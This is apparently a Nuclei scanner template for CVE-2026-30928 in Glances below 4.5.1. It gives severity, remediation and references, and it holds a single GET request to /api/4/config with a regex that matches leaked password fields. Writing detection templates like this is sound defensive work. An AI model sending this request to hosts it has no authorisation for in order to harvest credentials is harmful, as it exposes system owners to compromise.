id: CVE-2026-30928

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
  impact: |
    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
  remediation: |
    Upgrade to version 4.5.1 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-30928
    epss-score: 0.0667
    epss-percentile: 0.91343
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,glances,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/config"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password": "[A-Za-z0-9_@.#&+-;$]*",'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022004c6114611092c91c9e6b8b82cf8e83f3ab000b1244f860a39ea430e1a36e47402206a3c71214ecc768b1cb8fd702767530916c24c986c3deaa26842f72e5feb22ee:922c64590222798bb761d5b6d8e72950